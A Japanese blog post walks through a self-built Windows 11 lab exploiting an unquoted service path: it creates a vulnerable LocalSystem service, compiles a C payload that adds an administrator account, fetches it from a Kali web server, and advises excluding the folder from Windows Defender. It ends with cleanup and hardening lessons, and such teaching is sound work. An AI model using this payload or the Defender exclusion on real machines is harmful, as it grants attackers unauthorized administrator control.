見出し画像

Windows 11 でLocal Privilege Escalation(Unquoted Program Path)を体験する


1 全般

 勉強のため、Windows 11 で Unquoted Program Path を利用した Local Privilege Escalation を行える環境を構築しました。忘備録として手法を記載します。

※ 本記事に記載されている内容を許可されていない第三者に対して行うと犯罪行為になります。絶対に悪用しないでください。

※ また、本記事の内容を実行する際は、自己責任でお願いします。

2 構築環境のイメージ図

3 事前準備

① サービスの作成

 下記の C# のコードを .exe にしてください。具体的な手順は省略します。Visual Studioを使うのが一番楽だと思います。

任意の場所に名前に半角スペースを含むフォルダを作成し、その中に一式をコピーします。

C:\Users\pichu\Desktop\hijack pichu

 実行してみると、無限に待機することが分かります。

C:\Users\pichu\Desktop\hijack pichu\ConsoleApp1.exe

② サービスの設定

 管理者権限で PowerShell を開き、下記のコマンドでサービスを設定します。

PS C:\Windows\System32> New-Service -Name "pichu_service" -BinaryPathName C:\Users\pichu\Desktop\hijack` pichu\ConsoleApp1.exe -StartupType Automatic

Status   Name               DisplayName
------   ----               -----------
Stopped  pichu_service      pichu_service

 サービスを開始します。

PS C:\Windows\system32> Start-Service pichu_service

 確認すると、StateがRunningになっていることが分かります。

PS C:\Windows\System32> Get-CimInstance -ClassName win32_service |  where-object {$_.Name -like 'pichu_service'}

ProcessId Name          StartMode State   Status ExitCode
--------- ----          --------- -----   ------ --------
11884     pichu_service Auto      Running OK     0

② ユーザの作成及び設定

・ 管理者権限で PowerShell を開き、任意のユーザを追加します。

PS C:\Windows\system32> net user john Password123! /add
\\\\DESKTOP-3LV3M7S のユーザー アカウント

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
john                     pichu                    WDAGUtilityAccount
コマンドは正常に終了しました。

 新しく追加したユーザは、管理者権限を持っていないことを確認します。

PS C:\Windows\System32> net user john
ユーザー名                           john
...
所属しているローカル グループ        *Users
所属しているグローバル グループ      *なし
コマンドは正常に終了しました。

PS C:\Windows\System32> net localgroup users
エイリアス名     users
コメント         ユーザーが、システム全体に及ぶ変更を間違ってまたは故意に行うことを防ぎます。ほとんどのアプリケーション を実行することができます。

メンバー
-------------------------------------------------------------------------------
john
NT AUTHORITY\Authenticated Users
NT AUTHORITY\INTERACTIVE
コマンドは正常に終了しました。

PS C:\Windows\System32> net localgroup administrators
エイリアス名     administrators
コメント         コンピューター/ドメインに完全なアクセス権があります。

メンバー
-------------------------------------------------------------------------------
Administrator
pichu
コマンドは正常に終了しました。

 最後に、一般ユーザへの読み取り及び書き込み権限を追加します。(脆弱性の利用に必要なため)

PS C:\Windows\System32> icacls C:\Users\pichu\Desktop /grant john:RW
処理ファイル: C:\Users\pichu\Desktop
1 個のファイルが正常に処理されました。0 個のファイルを処理できませんでした

4 Local Privilege Escalation

① Shell の準備

 設定したサービスを利用し、Privilege Escalation を行います。Windows への Initial Access が成功し、一般ユーザのshellを取得した状況を想定します。

PS C:\Users\pichu> runas /user:john cmd
john のパスワードを入力してください:[パスワードを入力]
cmd をユーザー "DESKTOP-3LV3M7S\john" として開始しています...

 一般ユーザ(画像は john ユーザ)のシェルを立ち上げます。これを起点に Privilege Escalation を開始します。

cmd.exe

② 脆弱性の特定

 では、これから脆弱性の特定を行います。まずは PowerShell に切り替えます。

C:\Windows\system32>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

新機能と改善のために最新の PowerShell をインストールしてください!https://aka.ms/PSWindows

PS C:\Windows\system32>

 Get-CimInstance コマンドを使用し、サービスの一覧を取得します。

PS C:\Windows\system32> Get-CimInstance -ClassName win32_service | Select Name, State, PathName

Name                                     State   PathName
----                                     -----   --------
AJRouter                                 Stopped C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
ALG                                      Stopped C:\Windows\System32\alg.exe
Apache2.4                                Stopped "C:\Apache24\bin\httpd.exe" -k runservice
...
pichu_service                            Running C:\Users\pichu\Desktop\hijack pichu\ConsoleApp1.exe
...

 一つ一つ見ていくと、「pichu_service」の PathName にダブルクォーテーション(")が無いことに気付きます。

 Windows の仕様として、PathName がダブルクォートで囲まれていない場合、どこまでがプログラムの Path でどこからがパラメータなのか判断できません。

 つまり、「C:\Users\pichu\Desktop\hijack pichu\ConsoleApp1.exe」は

1. C:\Users\pichu\Desktop\hijack.exe
2. C:\Users\pichu\Desktop\hijack pichu\ConsoleApp1.exe

の順番でプログラムの実行を試みるため、「C:\Users\pichu\Desktop」ディレクトリに「hijack.exe」ファイルを置くことでサービスの hijack が可能です。

③ 脆弱性を利用可能かの判断

 Unquoted Program Path を利用して Privilege Escalation を行うには、下記の条件を全て満たす必要があります。(別の条件でも可能ですが、割愛します。)

 1. C:\Users\pichu\Desktop に実行ファイルを置くことが可能。
 2. hijack.exe をリモートで受信可能
 3. pichu_service プロセスを再起動可能 or Windows 11自体の再起動が可能

 C:\Users\pichu\Desktop に実行ファイルを置けるか確認するには、下記のコマンドで権限の確認が可能です。

PS C:\Windows\System32> icacls C:\Users\pichu\Desktop
C:\Users\pichu\Desktop DESKTOP-3LV3M7S\john:(R,W)
                       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                       BUILTIN\Administrators:(I)(OI)(CI)(F)
                       DESKTOP-3LV3M7S\pichu:(I)(OI)(CI)(F)

1 個のファイルが正常に処理されました。0 個のファイルを処理できませんでした

 john ユーザにR(読み込み権限)とW(書き込み権限)があることが分かりました。

 hijack.exe をリモートで受信可能かどうかは、実際にデータを受信してみるのが早いです。まずは、Linux 側でhttp serverを建てます。

┌──(kirby㉿kali)-[~/kirby]
└─$ ls
kirby

┌──(kirby㉿kali)-[~/kirby]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

  Windows 側で下記のコマンドを入力し、任意のファイルをダウンロードしてみます。

PS C:\Windows\System32> iwr -uri http://[http serverのIP]:8000/kirby -Outfile C:\Users\pichu\Desktop\kirby.txt
PS C:\Windows\System32> dir C:\Users\pichu\Desktop

    ディレクトリ: C:\Users\pichu\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        2024/07/12     11:28                hijack pichu
-a----        2024/07/12     14:18              7 kirby.txt

 無事にダウンロードができました。(アクセス権限は持っていないものの、Privilege Escalation は可能なので問題ありません。)

PS C:\Windows\System32> icacls C:\Users\pichu\Desktop\kirby.txt
C:\Users\pichu\Desktop\kirby.txt NT AUTHORITY\SYSTEM:(I)(F)
                                 BUILTIN\Administrators:(I)(F)
                                 DESKTOP-3LV3M7S\pichu:(I)(F)

PS C:\Windows\System32> type C:\Users\pichu\Desktop\kirby.txt
type : パス 'C:\Users\pichu\Desktop\kirby.txt' へのアクセスが拒否されました。
発生場所 行:1 文字:1
+ type C:\Users\pichu\Desktop\kirby.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Users\pichu\Desktop\kirby.txt:String) [Get-Content], UnauthorizedA
   ccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand

 pichu_service プロセスを再起動可能 or Windows 11自体の再起動が可能 の確認も、実際にやってみるのが早いです。
 ※ Windows が再起動するので注意!

PS C:\Windows\system32> Restart-Computer

 全部の条件を満たしたことにより、Unquoted Program Path の脆弱性が利用可能であることが判明しました。

④ Service Hijacking

 では、実際に脆弱性を利用していきます。まずは、「hijack.exe」を作成し、http server を建てます。

┌──(kirby㉿kali)-[~/kirby]
└─$ cat hijack.c

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user john_admin  Password123! /add");
  i = system ("net localgroup administrators john_admin /add");
  
  return 0;
}
                                                                                                                          
┌──(kirby㉿kali)-[~/kirby]
└─$ x86_64-w64-mingw32-gcc hijack.c -o hijack.exe 
                                                                                                                            
┌──(kirby㉿kali)-[~/kirby]
└─$ ls    
hijack.c  hijack.exe  kirby

┌──(kirby㉿kali)-[~/kirby]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

 Windows側で受け取り、「C:\Users\pichu\Desktop\」に配置します。

PS C:\Windows\system32> iwr -uri http://[http serverのIP]:8000/hijack.exe -Outfile C:\Users\pichu\Desktop\hijack.exe
PS C:\Windows\system32> dir C:\Users\pichu\Desktop\

    ディレクトリ: C:\Users\pichu\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        2024/07/12     11:28                hijack pichu
-a----        2024/07/12     14:41         113356 hijack.exe
-a----        2024/07/12     14:18              7 kirby.txt

 ※ ダウンロードする際、Windows Defender で弾かれる可能性があります。個別にファイルを許可するか、「C:\Users\pichu\Desktop\」ごと検閲の対象外にしてください。

 あとは、Windows を再起動させます。

PS C:\Windows\system32> Restart-Computer

 再起動後、ユーザを見てみると…

PS C:\Windows\system32> net user

\\DESKTOP-3LV3M7S のユーザー アカウント
-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
john                     john_admin               pichu
WDAGUtilityAccount
コマンドは正常に終了しました。

PS C:\Windows\system32> net localgroup Administrators
エイリアス名     Administrators
コメント         コンピューター/ドメインに完全なアクセス権があります。

メンバー
-------------------------------------------------------------------------------
Administrator
john_admin
pichu
コマンドは正常に終了しました。

 なんと、Administrators グループにユーザ(john_admin)が追加されてしまっています。更に、hijack.exe で設定したパスワードでログインも可能です。Local Privilege Escalation が成功しました。

 これがなぜ成功したかというと、pichu_service サービスが LocalSystem アカウントで実行されていたためです。本来管理者権限でしか実行できないコマンドも、サービスを乗っ取ることで実行可能になる場合があります。

PS C:\Users\pichu> Get-WmiObject -Class Win32_Service | Where-Object {$_.Name -eq "pichu_service"} | Select-Object Name, DisplayName, StartName

Name          DisplayName   StartName
----          -----------   ---------
pichu_service pichu_service LocalSystem

5 事後処理

 検証終了後は、下記の操作を実施してください。

① サービスの削除

※ PowerShell version 6以降かつ管理者権限で実行

PS C:\Windows\System32> Remove-Service pichu_service
PS C:\Windows\System32> Get-CimInstance -ClassName win32_service |  where-object {$_.Name -like 'pichu_service'}

② ユーザの削除

PS C:\Windows\System32> net user john_admin /delete
コマンドは正常に終了しました。

PS C:\Windows\System32> net user john /delete
コマンドは正常に終了しました。

PS C:\Windows\System32> net user
\\DESKTOP-3LV3M7S のユーザー アカウント

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
pichu                    WDAGUtilityAccount
コマンドは正常に終了しました。

6 まとめ

・ サービスの PathName をダブルクォートで囲んでいないと、悪用される可能性がある。
 → サービスを作成する際は、PathName をダブルクォートで囲む。

・ Unquoted Program Path があっても、適切なアクセス権限が設定されていれば攻撃は成功しなかった。
 → 権限を適切に設定する。必要のないユーザに権限を与えない。

・ Windows Defender はちゃんと働いてくれる。
 → 「hijack.exe」をダウンロードした時点で検出(2024/7/12 時点)。単純なマルウェアの対策にはWindows Defender は有効なことを再確認した。


この記事が気に入ったらサポートをしてみませんか?